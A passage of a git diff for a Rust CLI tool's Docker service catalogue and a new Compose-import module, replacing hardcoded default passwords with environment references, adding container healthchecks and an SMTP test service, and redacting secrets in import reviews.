+            secret("MYSQL_ROOT_PASSWORD", "MySQL root password"),
+            secret("MYSQL_PASSWORD", "MySQL application-user password"),
+        ],
+        "mongodb" => vec![secret(
+            "MONGO_INITDB_ROOT_PASSWORD",
+            "MongoDB root password",
+        )],
+        "rabbitmq" => vec![secret("RABBITMQ_DEFAULT_PASS", "RabbitMQ password")],
+        "minio" => vec![secret("MINIO_ROOT_PASSWORD", "MinIO root password")],
+        "wordpress" => vec![secret(
+            "WORDPRESS_DB_PASSWORD",
+            "WordPress database password",
+        )],
+        _ => vec![],
+    }
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // ServiceCatalog
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -60,11 +113,12 @@ impl ServiceCatalog {
         }
 
         // Hardcoded catalog lookup
-        self.lookup_hardcoded(&canonical)
-            .ok_or_else(|| CliError::ConfigValidation(format!(
+        self.lookup_hardcoded(&canonical).ok_or_else(|| {
+            CliError::ConfigValidation(format!(
                 "Unknown service '{}'. Run `stacker service list` to see available services.",
                 service_name
-            )))
+            ))
+        })
     }
 
     /// List all available services from the hardcoded catalog.
@@ -85,32 +139,45 @@ impl ServiceCatalog {
                     if let Some(services) = stack_def.get("services") {
                         if let Some(first_svc) = services.as_array().and_then(|arr| arr.first()) {
                             let service = ServiceDefinition {
-                                name: first_svc["name"].as_str()
-                                    .unwrap_or(slug).to_string(),
-                                image: first_svc["image"].as_str()
-                                    .unwrap_or("").to_string(),
-                                ports: first_svc["ports"].as_array()
-                                    .map(|arr| arr.iter()
-                                        .filter_map(|v| v.as_str().map(|s| s.to_string()))
-                                        .collect())
+                                name: first_svc["name"].as_str().unwrap_or(slug).to_string(),
+                                image: first_svc["image"].as_str().unwrap_or("").to_string(),
+                                ports: first_svc["ports"]
+                                    .as_array()
+                                    .map(|arr| {
+                                        arr.iter()
+                                            .filter_map(|v| v.as_str().map(|s| s.to_string()))
+                                            .collect()
+                                    })
                                     .unwrap_or_default(),
-                                environment: first_svc["environment"].as_object()
-                                    .map(|obj| obj.iter()
-                                        .filter_map(|(k, v)| v.as_str().map(|s| (k.clone(), s.to_string())))
-                                        .collect())
+                                environment: first_svc["environment"]
+                                    .as_object()
+                                    .map(|obj| {
+                                        obj.iter()
+                                            .filter_map(|(k, v)| {
+                                                v.as_str().map(|s| (k.clone(), s.to_string()))
+                                            })
+                                            .collect()
+                                    })
                                     .unwrap_or_default(),
-                                volumes: first_svc["volumes"].as_array()
-                                    .map(|arr| arr.iter()
-                                        .filter_map(|v| v.as_str().map(|s| s.to_string()))
-                                        .collect())
+                                volumes: first_svc["volumes"]
+                                    .as_array()
+                                    .map(|arr| {
+                                        arr.iter()
+                                            .filter_map(|v| v.as_str().map(|s| s.to_string()))
+                                            .collect()
+                                    })
                                     .unwrap_or_default(),
                                 depends_on: Vec::new(),
+                                command: None,
+                                healthcheck: None,
                             };
 
                             return Ok(Some(CatalogEntry {
                                 code: slug.to_string(),
                                 name: template.name,
-                                category: template.category_code.unwrap_or_else(|| "service".to_string()),
+                                category: template
+                                    .category_code
+                                    .unwrap_or_else(|| "service".to_string()),
                                 description: template.description.unwrap_or_default(),
                                 service,
                                 related: vec![],
@@ -144,6 +211,7 @@ impl ServiceCatalog {
             "mq" | "rabbit" | "rabbitmq" => "rabbitmq".to_string(),
             "npm" | "nginx-proxy-manager" => "nginx_proxy_manager".to_string(),
             "pma" | "phpmyadmin" => "phpmyadmin".to_string(),
+            "mail" | "mailer" | "smtp" => "smtp".to_string(),
             "mh" | "mailhog" => "mailhog".to_string(),
             "rc" | "rocketchat" | "rocket.chat" | "rocket-chat" => "rocketchat".to_string(),
             "mm" | "mattermost" => "mattermost".to_string(),
@@ -183,6 +251,23 @@ impl ServiceCatalog {
 // Hardcoded service catalog
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
+/// Standard container healthcheck. The renderer emits `test:` as a YAML string,
+/// which Docker Compose runs via `/bin/sh -c` (CMD-SHELL) — so `test` is a bare
+/// shell command with no `CMD`/`CMD-SHELL` prefix.
+///
+/// Only added for services whose probe tool is guaranteed to ship in the image
+/// (`pg_isready`, `mysqladmin`, `mongosh`, `redis-cli`, `rabbitmq-diagnostics`).
+/// Images without a guaranteed probe (e.g. `curl`/`wget` may be absent) are left
+/// without a healthcheck rather than risk a permanently-unhealthy container.
+fn service_healthcheck(test: &str) -> Option<ComposeHealthcheck> {
+    Some(ComposeHealthcheck {
+        test: test.to_string(),
+        interval: "10s".into(),
+        timeout: "5s".into(),
+        retries: 5,
+    })
+}
+
 fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
     vec![
         // ── Databases ────────────────────────────────────
@@ -198,10 +283,12 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 environment: HashMap::from([
                     ("POSTGRES_DB".into(), "app_db".into()),
                     ("POSTGRES_USER".into(), "app".into()),
-                    ("POSTGRES_PASSWORD".into(), "changeme".into()),
+                    ("POSTGRES_PASSWORD".into(), "${POSTGRES_PASSWORD}".into()),
                 ]),
                 volumes: vec!["postgres_data:/var/lib/postgresql/data".into()],
                 depends_on: vec![],
+                command: None,
+                healthcheck: service_healthcheck("pg_isready -U app"),
             },
             related: vec!["redis".into()],
         },
@@ -215,13 +302,18 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 image: "mysql:8.0".into(),
                 ports: vec!["3306:3306".into()],
                 environment: HashMap::from([
-                    ("MYSQL_ROOT_PASSWORD".into(), "changeme_root".into()),
+                    (
+                        "MYSQL_ROOT_PASSWORD".into(),
+                        "${MYSQL_ROOT_PASSWORD}".into(),
+                    ),
                     ("MYSQL_DATABASE".into(), "app_db".into()),
                     ("MYSQL_USER".into(), "app".into()),
-                    ("MYSQL_PASSWORD".into(), "changeme".into()),
+                    ("MYSQL_PASSWORD".into(), "${MYSQL_PASSWORD}".into()),
                 ]),
                 volumes: vec!["mysql_data:/var/lib/mysql".into()],
                 depends_on: vec![],
+                command: None,
+                healthcheck: service_healthcheck("mysqladmin ping -h 127.0.0.1 --silent"),
             },
             related: vec!["redis".into(), "phpmyadmin".into()],
         },
@@ -236,14 +328,20 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 ports: vec!["27017:27017".into()],
                 environment: HashMap::from([
                     ("MONGO_INITDB_ROOT_USERNAME".into(), "admin".into()),
-                    ("MONGO_INITDB_ROOT_PASSWORD".into(), "changeme".into()),
+                    (
+                        "MONGO_INITDB_ROOT_PASSWORD".into(),
+                        "${MONGO_INITDB_ROOT_PASSWORD}".into(),
+                    ),
                 ]),
                 volumes: vec!["mongo_data:/data/db".into()],
                 depends_on: vec![],
+                command: None,
+                healthcheck: service_healthcheck(
+                    "mongosh --quiet --eval 'db.adminCommand({ping:1})'",
+                ),
             },
             related: vec![],
         },
-
         // ── Cache ────────────────────────────────────────
         CatalogEntry {
             code: "redis".into(),
@@ -257,6 +355,8 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 environment: HashMap::new(),
                 volumes: vec!["redis_data:/data".into()],
                 depends_on: vec![],
+                command: None,
+                healthcheck: service_healthcheck("redis-cli ping"),
             },
             related: vec![],
         },
@@ -272,10 +372,11 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 environment: HashMap::new(),
                 volumes: vec![],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec![],
         },
-
         // ── Message Queues ───────────────────────────────
         CatalogEntry {
             code: "rabbitmq".into(),
@@ -288,14 +389,18 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 ports: vec!["5672:5672".into(), "15672:15672".into()],
                 environment: HashMap::from([
                     ("RABBITMQ_DEFAULT_USER".into(), "app".into()),
-                    ("RABBITMQ_DEFAULT_PASS".into(), "changeme".into()),
+                    (
+                        "RABBITMQ_DEFAULT_PASS".into(),
+                        "${RABBITMQ_DEFAULT_PASS}".into(),
+                    ),
                 ]),
                 volumes: vec!["rabbitmq_data:/var/lib/rabbitmq".into()],
                 depends_on: vec![],
+                command: None,
+                healthcheck: service_healthcheck("rabbitmq-diagnostics -q ping"),
             },
             related: vec![],
         },
-
         // ── Proxies ──────────────────────────────────────
         CatalogEntry {
             code: "traefik".into(),
@@ -312,6 +417,8 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                     "traefik_certs:/letsencrypt".into(),
                 ],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec![],
         },
@@ -327,6 +434,8 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 environment: HashMap::new(),
                 volumes: vec![],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec![],
         },
@@ -345,10 +454,11 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                     "npm_letsencrypt:/etc/letsencrypt".into(),
                 ],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec![],
         },
-
         // ── Web Applications ─────────────────────────────
         CatalogEntry {
             code: "wordpress".into(),
@@ -362,15 +472,19 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 environment: HashMap::from([
                     ("WORDPRESS_DB_HOST".into(), "mysql".into()),
                     ("WORDPRESS_DB_USER".into(), "wordpress".into()),
-                    ("WORDPRESS_DB_PASSWORD".into(), "changeme".into()),
+                    (
+                        "WORDPRESS_DB_PASSWORD".into(),
+                        "${WORDPRESS_DB_PASSWORD}".into(),
+                    ),
                     ("WORDPRESS_DB_NAME".into(), "wordpress".into()),
                 ]),
                 volumes: vec!["wordpress_data:/var/www/html".into()],
                 depends_on: vec!["mysql".into()],
+                command: None,
+                healthcheck: None,
             },
             related: vec!["mysql".into(), "redis".into(), "traefik".into()],
         },
-
         // ── Search ───────────────────────────────────────
         CatalogEntry {
             code: "elasticsearch".into(),
@@ -388,6 +502,8 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 ]),
                 volumes: vec!["es_data:/usr/share/elasticsearch/data".into()],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec!["kibana".into()],
         },
@@ -400,15 +516,17 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 name: "kibana".into(),
                 image: "kibana:8.12.0".into(),
                 ports: vec!["5601:5601".into()],
-                environment: HashMap::from([
-                    ("ELASTICSEARCH_HOSTS".into(), "http://elasticsearch:9200".into()),
-                ]),
+                environment: HashMap::from([(
+                    "ELASTICSEARCH_HOSTS".into(),
+                    "http://elasticsearch:9200".into(),
+                )]),
                 volumes: vec![],
                 depends_on: vec!["elasticsearch".into()],
+                command: None,
+                healthcheck: None,
             },
             related: vec!["elasticsearch".into()],
         },
-
         // ── Vector Databases ─────────────────────────────
         CatalogEntry {
             code: "qdrant".into(),
@@ -422,10 +540,11 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 environment: HashMap::new(),
                 volumes: vec!["qdrant_data:/qdrant/storage".into()],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec![],
         },
-
         // ── Monitoring ───────────────────────────────────
         CatalogEntry {
             code: "telegraf".into(),
@@ -437,14 +556,13 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 image: "telegraf:1.30-alpine".into(),
                 ports: vec![],
                 environment: HashMap::new(),
-                volumes: vec![
-                    "/var/run/docker.sock:/var/run/docker.sock:ro".into(),
-                ],
+                volumes: vec!["/var/run/docker.sock:/var/run/docker.sock:ro".into()],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec![],
         },
-
         // ── Dev Tools ────────────────────────────────────
         CatalogEntry {
             code: "phpmyadmin".into(),
@@ -461,9 +579,35 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 ]),
                 volumes: vec![],
                 depends_on: vec!["mysql".into()],
+                command: None,
+                healthcheck: None,
             },
             related: vec!["mysql".into()],
         },
+        CatalogEntry {
+            code: "smtp".into(),
+            name: "SMTP Test Server".into(),
+            category: "mail".into(),
+            description: "Attachable SMTP companion app for local delivery and relay testing"
+                .into(),
+            service: ServiceDefinition {
+                name: "smtp".into(),
+                image: "trydirect/smtp".into(),
+                ports: vec!["1025:25".into()],
+                environment: HashMap::from([
+                    (
+                        "RELAY_NETWORKS".into(),
+                        ":127.0.0.0/8:10.0.0.0/8:172.16.0.0/12:192.168.0.0/16".into(),
+                    ),
+                    ("PORT".into(), "25".into()),
+                ]),
+                volumes: vec!["smtp_data:/data".into()],
+                depends_on: vec![],
+                command: None,
+                healthcheck: None,
+            },
+            related: vec![],
+        },
         CatalogEntry {
             code: "mailhog".into(),
             name: "MailHog".into(),
@@ -476,10 +620,11 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 environment: HashMap::new(),
                 volumes: vec![],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec![],
         },
-
         // ── Storage ──────────────────────────────────────
         CatalogEntry {
             code: "minio".into(),
@@ -492,14 +637,18 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 ports: vec!["9000:9000".into(), "9001:9001".into()],
                 environment: HashMap::from([
                     ("MINIO_ROOT_USER".into(), "admin".into()),
-                    ("MINIO_ROOT_PASSWORD".into(), "changeme123".into()),
+                    (
+                        "MINIO_ROOT_PASSWORD".into(),
+                        "${MINIO_ROOT_PASSWORD}".into(),
+                    ),
                 ]),
                 volumes: vec!["minio_data:/data".into()],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec![],
         },
-
         // ── Container Management ─────────────────────────
         CatalogEntry {
             code: "portainer".into(),
@@ -516,10 +665,11 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                     "portainer_data:/data".into(),
                 ],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec![],
         },
-
         // ── AI Assistants ─────────────────────────────
         CatalogEntry {
             code: "openclaw".into(),
@@ -530,14 +680,14 @@ fn build_hardcoded_catalog() -> Vec<CatalogEntry> {
                 name: "openclaw".into(),
                 image: "ghcr.io/openclaw/openclaw:latest".into(),
                 ports: vec!["18789:18789".into()],
-                environment: HashMap::from([
-                    ("OPENCLAW_GATEWAY_BIND".into(), "lan".into()),
-                ]),
+                environment: HashMap::from([("OPENCLAW_GATEWAY_BIND".into(), "lan".into())]),
                 volumes: vec![
                     "openclaw_config:/home/node/.openclaw".into(),
                     "openclaw_workspace:/home/node/.openclaw/workspace".into(),
                 ],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             },
             related: vec![],
         },
@@ -559,7 +709,7 @@ pub fn catalog_summary_for_ai() -> String {
         ));
     }
     lines.push(String::new());
-    lines.push("Common aliases: wp→wordpress, pg→postgres, my→mysql, mongo→mongodb, es→elasticsearch, mq→rabbitmq, pma→phpmyadmin, mh→mailhog".to_string());
+    lines.push("Common aliases: wp→wordpress, pg→postgres, my→mysql, mongo→mongodb, es→elasticsearch, mq→rabbitmq, pma→phpmyadmin, smtp→smtp, mail→smtp, mh→mailhog".to_string());
     lines.join("\n")
 }
 
@@ -588,13 +738,26 @@ mod tests {
 
     #[test]
     fn test_resolve_alias_hyphen_to_underscore() {
-        assert_eq!(ServiceCatalog::resolve_alias("nginx-proxy-manager"), "nginx_proxy_manager");
+        assert_eq!(
+            ServiceCatalog::resolve_alias("nginx-proxy-manager"),
+            "nginx_proxy_manager"
+        );
+    }
+
+    #[test]
+    fn test_resolve_alias_smtp_companion() {
+        assert_eq!(ServiceCatalog::resolve_alias("smtp"), "smtp");
+        assert_eq!(ServiceCatalog::resolve_alias("mail"), "smtp");
+        assert_eq!(ServiceCatalog::resolve_alias("mailer"), "smtp");
     }
 
     #[test]
     fn test_hardcoded_catalog_not_empty() {
         let catalog = build_hardcoded_catalog();
-        assert!(catalog.len() > 10, "Expected at least 10 services in catalog");
+        assert!(
+            catalog.len() > 10,
+            "Expected at least 10 services in catalog"
+        );
     }
 
     #[test]
@@ -607,6 +770,101 @@ mod tests {
         assert!(e.service.ports.contains(&"5432:5432".to_string()));
     }
 
+    #[test]
+    fn test_core_data_services_have_healthchecks() {
+        let cat = ServiceCatalog::offline();
+        // Services whose probe tool ships in the image get a healthcheck.
+        for (code, needle) in [
+            ("postgres", "pg_isready"),
+            ("mysql", "mysqladmin ping"),
+            ("mongodb", "mongosh"),
+            ("redis", "redis-cli ping"),
+            ("rabbitmq", "rabbitmq-diagnostics"),
+        ] {
+            let hc = cat
+                .lookup_hardcoded(code)
+                .unwrap_or_else(|| panic!("{code} exists"))
+                .service
+                .healthcheck
+                .clone()
+                .unwrap_or_else(|| panic!("{code} should have a healthcheck"));
+            assert!(
+                hc.test.contains(needle),
+                "{code} healthcheck test '{}' should contain '{needle}'",
+                hc.test
+            );
+            assert_eq!(hc.retries, 5);
+        }
+    }
+
+    #[test]
+    fn test_catalog_inputs_and_env_references() {
+        let cat = ServiceCatalog::offline();
+
+        // Secret placeholders are replaced with ${KEY} references, never literals.
+        let pg = cat.lookup_hardcoded("postgres").expect("postgres");
+        assert_eq!(
+            pg.service
+                .environment
+                .get("POSTGRES_PASSWORD")
+                .map(String::as_str),
+            Some("${POSTGRES_PASSWORD}")
+        );
+        // Non-secret values stay literal.
+        assert_eq!(
+            pg.service
+                .environment
+                .get("POSTGRES_USER")
+                .map(String::as_str),
+            Some("app")
+        );
+
+        // catalog_inputs describes the configurable keys as generated secrets.
+        let inputs = catalog_inputs("postgres");
+        assert_eq!(inputs.len(), 1);
+        assert_eq!(inputs[0].key, "POSTGRES_PASSWORD");
+        assert!(inputs[0].secret);
+        assert_eq!(inputs[0].default, InputDefault::GeneratedSecret);
+
+        assert_eq!(catalog_inputs("mysql").len(), 2);
+        assert!(catalog_inputs("redis").is_empty());
+    }
+
+    #[test]
+    fn test_service_without_guaranteed_probe_has_no_healthcheck() {
+        let cat = ServiceCatalog::offline();
+        // memcached ships no probe CLI, so it is intentionally left without one.
+        assert!(cat
+            .lookup_hardcoded("memcached")
+            .expect("memcached exists")
+            .service
+            .healthcheck
+            .is_none());
+    }
+
+    #[test]
+    fn test_lookup_hardcoded_smtp_companion() {
+        let cat = ServiceCatalog::offline();
+        let entry = cat.lookup_hardcoded("smtp").expect("smtp service exists");
+
+        assert_eq!(entry.category, "mail");
+        assert_eq!(entry.service.name, "smtp");
+        assert_eq!(entry.service.image, "trydirect/smtp");
+        assert!(entry.service.ports.contains(&"1025:25".to_string()));
+        assert_eq!(
+            entry.service.environment.get("PORT").map(String::as_str),
+            Some("25")
+        );
+        assert_eq!(
+            entry
+                .service
+                .environment
+                .get("RELAY_NETWORKS")
+                .map(String::as_str),
+            Some(":127.0.0.0/8:10.0.0.0/8:172.16.0.0/12:192.168.0.0/16")
+        );
+    }
+
     #[test]
     fn test_lookup_hardcoded_unknown() {
         let cat = ServiceCatalog::offline();
@@ -619,6 +877,7 @@ mod tests {
         assert!(summary.contains("postgres"));
         assert!(summary.contains("wordpress"));
         assert!(summary.contains("redis"));
+        assert!(summary.contains("smtp"));
         assert!(summary.contains("add_service"));
     }
 }
diff --git a/src/cli/service_import.rs b/src/cli/service_import.rs
new file mode 100644
index 00000000..7b43f19d
--- /dev/null
+++ b/src/cli/service_import.rs
@@ -0,0 +1,671 @@
+//! Review-first Docker Compose service import helpers.
+//!
+//! This module is intentionally pure: it parses Compose YAML and builds a
+//! review model plus `ServiceDefinition`s, but never executes Compose content
+//! and never mutates `stacker.yml`.
+
+use std::collections::{BTreeSet, HashMap};
+use std::path::Path;
+
+use serde::Serialize;
+use serde_yaml::{Mapping, Value};
+
+use crate::cli::config_parser::ServiceDefinition;
+use crate::cli::error::CliError;
+
+const SUPPORTED_FIELDS: &[&str] = &["image", "ports", "environment", "volumes", "depends_on"];
+const RISK_FIELDS: &[&str] = &[
+    "build",
+    "cap_add",
+    "devices",
+    "extra_hosts",
+    "ipc",
+    "network_mode",
+    "pid",
+    "privileged",
+    "security_opt",
+];
+const MAIL_PORTS: &[&str] = &["25", "465", "587", "993"];
+
+#[derive(Debug, Clone)]
+pub struct ComposeImportRequest {
+    pub import_name: String,
+    pub selected_service: Option<String>,
+    pub renames: Vec<(String, String)>,
+}
+
+#[derive(Debug, Clone, Serialize)]
+pub struct ServiceImportReview {
+    pub import_name: String,
+    pub services: Vec<ImportedServiceReview>,
+    pub risks: Vec<ImportRisk>,
+    pub guidance: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize)]
+pub struct ImportedServiceReview {
+    pub source_name: String,
+    pub name: String,
+    pub image: String,
+    pub ports: Vec<String>,
+    pub environment_keys: Vec<String>,
+    pub environment: HashMap<String, String>,
+    pub volumes: Vec<String>,
+    pub depends_on: Vec<String>,
+    pub unsupported_fields: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct ImportRisk {
+    pub service: String,
+    pub kind: String,
+    pub detail: String,
+}
+
+#[derive(Debug, Clone)]
+pub struct ServiceImportPlan {
+    pub review: ServiceImportReview,
+    pub services: Vec<ServiceDefinition>,
+}
+
+pub fn import_plan_from_compose_file(
+    compose_path: &Path,
+    request: &ComposeImportRequest,
+) -> Result<ServiceImportPlan, CliError> {
+    let content = std::fs::read_to_string(compose_path).map_err(|err| {
+        CliError::ConfigValidation(format!(
+            "Failed to read compose file '{}': {}",
+            compose_path.display(),
+            err
+        ))
+    })?;
+    import_plan_from_compose_str(&content, request)
+}
+
+pub fn import_plan_from_compose_str(
+    compose_yaml: &str,
+    request: &ComposeImportRequest,
+) -> Result<ServiceImportPlan, CliError> {
+    let document: Value = serde_yaml::from_str(compose_yaml).map_err(|err| {
+        CliError::ConfigValidation(format!("Failed to parse Docker Compose YAML: {err}"))
+    })?;
+    let service_map = document
+        .get(Value::String("services".to_string()))
+        .and_then(Value::as_mapping)
+        .ok_or_else(|| {
+            CliError::ConfigValidation(
+                "Docker Compose file must contain a top-level 'services' mapping".to_string(),
+            )
+        })?;
+
+    let mut services = Vec::new();
+    let mut reviews = Vec::new();
+    let mut risks = Vec::new();
+    let mut has_mail_server_shape = false;
+    let rename_map = request
+        .renames
+        .iter()
+        .cloned()
+        .collect::<HashMap<String, String>>();
+
+    for (name, definition) in service_map {
+        let Some(source_name) = name.as_str() else {
+            continue;
+        };
+        if let Some(selected) = &request.selected_service {
+            if selected != source_name {
+                continue;
+            }
+        }
+
+        let definition = definition.as_mapping().ok_or_else(|| {
+            CliError::ConfigValidation(format!("Compose service '{source_name}' must be a mapping"))
+        })?;
+        let image = mapping_string(definition, "image").ok_or_else(|| {
+            CliError::ConfigValidation(format!(
+                "Compose service '{source_name}' must use an image; build-only imports are not supported yet"
+            ))
+        })?;
+        let destination_name = destination_service_name(source_name, request, &rename_map);
+        let ports = mapping_sequence(definition, "ports")
+            .into_iter()
+            .filter_map(compose_port_to_string)
+            .collect::<Vec<_>>();
+        let environment = sanitized_compose_environment(definition);
+        let mut environment_keys = environment.keys().cloned().collect::<Vec<_>>();
+        environment_keys.sort();
+        let volumes = mapping_sequence(definition, "volumes")
+            .into_iter()
+            .filter_map(compose_volume_to_string)
+            .collect::<Vec<_>>();
+        let depends_on = compose_depends_on(definition)
+            .into_iter()
+            .map(|dependency| rename_map.get(&dependency).cloned().unwrap_or(dependency))
+            .collect::<Vec<_>>();
+        let unsupported_fields = unsupported_fields(definition);
+
+        risks.extend(classify_risks(
+            source_name,
+            definition,
+            &ports,
+            &volumes,
+            &environment_keys,
+        ));
+        has_mail_server_shape |= looks_like_mail_server(source_name, &image, &ports);
+
+        services.push(ServiceDefinition {
+            name: destination_name.clone(),
+            image: image.clone(),
+            ports: ports.clone(),
+            environment: environment.clone(),
+            volumes: volumes.clone(),
+            depends_on: depends_on.clone(),
+            command: None,
+            healthcheck: None,
+        });
+        reviews.push(ImportedServiceReview {
+            source_name: source_name.to_string(),
+            name: destination_name,
+            image,
+            ports,
+            environment_keys,
+            environment: redacted_environment(&environment),
+            volumes,
+            depends_on,
+            unsupported_fields,
+        });
+    }
+
+    if let Some(selected) = &request.selected_service {
+        if services.is_empty() {
+            return Err(CliError::ConfigValidation(format!(
+                "Compose service '{selected}' was not found"
+            )));
+        }
+    } else if services.is_empty() {
+        return Err(CliError::ConfigValidation(
+            "No importable image-backed Compose services were found".to_string(),
+        ));
+    }
+
+    let mut guidance = Vec::new();
+    if has_mail_server_shape {
+        guidance.extend(docker_mailserver_guidance());
+    }
+
+    Ok(ServiceImportPlan {
+        review: ServiceImportReview {
+            import_name: request.import_name.clone(),
+            services: reviews,
+            risks,
+            guidance,
+        },
+        services,
+    })
+}
+
+pub fn parse_renames(values: &[String]) -> Result<Vec<(String, String)>, CliError> {
+    values
+        .iter()
+        .map(|value| {
+            let (from, to) = value.split_once('=').ok_or_else(|| {
+                CliError::ConfigValidation(format!(
+                    "Invalid --rename '{value}'. Expected format: old=new"
+                ))
+            })?;
+            if from.trim().is_empty() || to.trim().is_empty() {
+                return Err(CliError::ConfigValidation(format!(
+                    "Invalid --rename '{value}'. Service names cannot be empty"
+                )));
+            }
+            Ok((from.trim().to_string(), to.trim().to_string()))
+        })
+        .collect()
+}
+
+fn destination_service_name(
+    source_name: &str,
+    request: &ComposeImportRequest,
+    rename_map: &HashMap<String, String>,
+) -> String {
+    if let Some(renamed) = rename_map.get(source_name) {
+        return renamed.clone();
+    }
+
+    if request.selected_service.is_some() {
+        return request.import_name.clone();
+    }
+
+    source_name.to_string()
+}
+
+fn mapping_string(mapping: &Mapping, key: &str) -> Option<String> {
+    mapping
+        .get(Value::String(key.to_string()))
+        .and_then(Value::as_str)
+        .map(ToOwned::to_owned)
+}
+
+fn mapping_sequence<'a>(mapping: &'a Mapping, key: &str) -> Vec<&'a Value> {
+    mapping
+        .get(Value::String(key.to_string()))
+        .and_then(Value::as_sequence)
+        .map(|values| values.iter().collect())
+        .unwrap_or_default()
+}
+
+fn mapping_scalar(mapping: &Mapping, key: &str) -> Option<String> {
+    mapping
+        .get(Value::String(key.to_string()))
+        .map(yaml_scalar_to_string)
+        .filter(|value| !value.is_empty())
+}
+
+fn yaml_scalar_to_string(value: &Value) -> String {
+    match value {
+        Value::Null => String::new(),
+        Value::Bool(value) => value.to_string(),
+        Value::Number(value) => value.to_string(),
+        Value::String(value) => value.clone(),
+        _ => serde_yaml::to_string(value)
+            .unwrap_or_default()
+            .trim()
+            .to_string(),
+    }
+}
+
+fn compose_port_to_string(value: &Value) -> Option<String> {
+    if let Some(port) = value.as_str() {
+        return Some(port.to_string());
+    }
+
+    let map = value.as_mapping()?;
+    let target = mapping_scalar(map, "target")?;
+    let published = mapping_scalar(map, "published");
+    Some(match published {
+        Some(published) => format!("{published}:{target}"),
+        None => target,
+    })
+}
+
+fn compose_volume_to_string(value: &Value) -> Option<String> {
+    if let Some(volume) = value.as_str() {
+        return Some(volume.to_string());
+    }
+
+    let map = value.as_mapping()?;
+    let target = mapping_scalar(map, "target")?;
+    let source = mapping_scalar(map, "source").unwrap_or_default();
+    let read_only = map
+        .get(Value::String("read_only".to_string()))
+        .and_then(Value::as_bool)
+        .unwrap_or(false);
+
+    Some(if read_only {
+        format!("{source}:{target}:ro")
+    } else if source.is_empty() {
+        target
+    } else {
+        format!("{source}:{target}")
+    })
+}
+
+fn sanitized_compose_environment(mapping: &Mapping) -> HashMap<String, String> {
+    let mut environment = HashMap::new();
+    let Some(value) = mapping.get(Value::String("environment".to_string())) else {
+        return environment;
+    };
+
+    if let Some(map) = value.as_mapping() {
+        for (key, value) in map {
+            if let Some(key) = key.as_str() {
+                environment.insert(key.to_string(), sanitized_env_value(key, value));
+            }
+        }
+        return environment;
+    }
+
+    if let Some(sequence) = value.as_sequence() {
+        for item in sequence {
+            if let Some(entry) = item.as_str() {
+                match entry.split_once('=') {
+                    Some((key, value)) => {
+                        environment.insert(
+                            key.to_string(),
+                            sanitized_env_value_from_string(key, value.to_string()),
+                        );
+                    }
+                    None => {
+                        environment.insert(entry.to_string(), String::new());
+                    }
+                }
+            }
+        }
+    }
+
+    environment
+}
+
+fn sanitized_env_value(key: &str, value: &Value) -> String {
+    sanitized_env_value_from_string(key, yaml_scalar_to_string(value))
+}
+
+fn sanitized_env_value_from_string(key: &str, value: String) -> String {
+    if is_sensitive_env_key(key) && !is_placeholder_value(&value) && !value.is_empty() {
+        format!("${{{key}}}")
+    } else {
+        value
+    }
+}
+
+pub fn redacted_environment(environment: &HashMap<String, String>) -> HashMap<String, String> {
+    environment
+        .iter()
+        .map(|(key, value)| {
+            let redacted = if is_sensitive_env_key(key) {
+                "<redacted>".to_string()
+            } else {
+                value.clone()
+            };
+            (key.clone(), redacted)
+        })
+        .collect()
+}
+
+fn is_placeholder_value(value: &str) -> bool {
+    value.starts_with("${") && value.ends_with('}')
+}
+
+fn is_sensitive_env_key(key: &str) -> bool {
+    let upper = key.to_ascii_uppercase();
+    upper.contains("PASSWORD")
+        || upper.contains("PASS")
+        || upper.contains("SECRET")
+        || upper.contains("TOKEN")
+        || upper.contains("KEY")
+        || upper.contains("CREDENTIAL")
+        || upper.contains("PRIVATE")
+}
+
+fn compose_depends_on(mapping: &Mapping) -> Vec<String> {
+    let Some(value) = mapping.get(Value::String("depends_on".to_string())) else {
+        return Vec::new();
+    };
+
+    if let Some(sequence) = value.as_sequence() {
+        return sequence
+            .iter()
+            .filter_map(Value::as_str)
+            .map(ToOwned::to_owned)
+            .collect();
+    }
+
+    value
+        .as_mapping()
+        .map(|depends_on| {
+            depends_on
+                .keys()
+                .filter_map(Value::as_str)
+                .map(ToOwned::to_owned)
+                .collect()
+        })
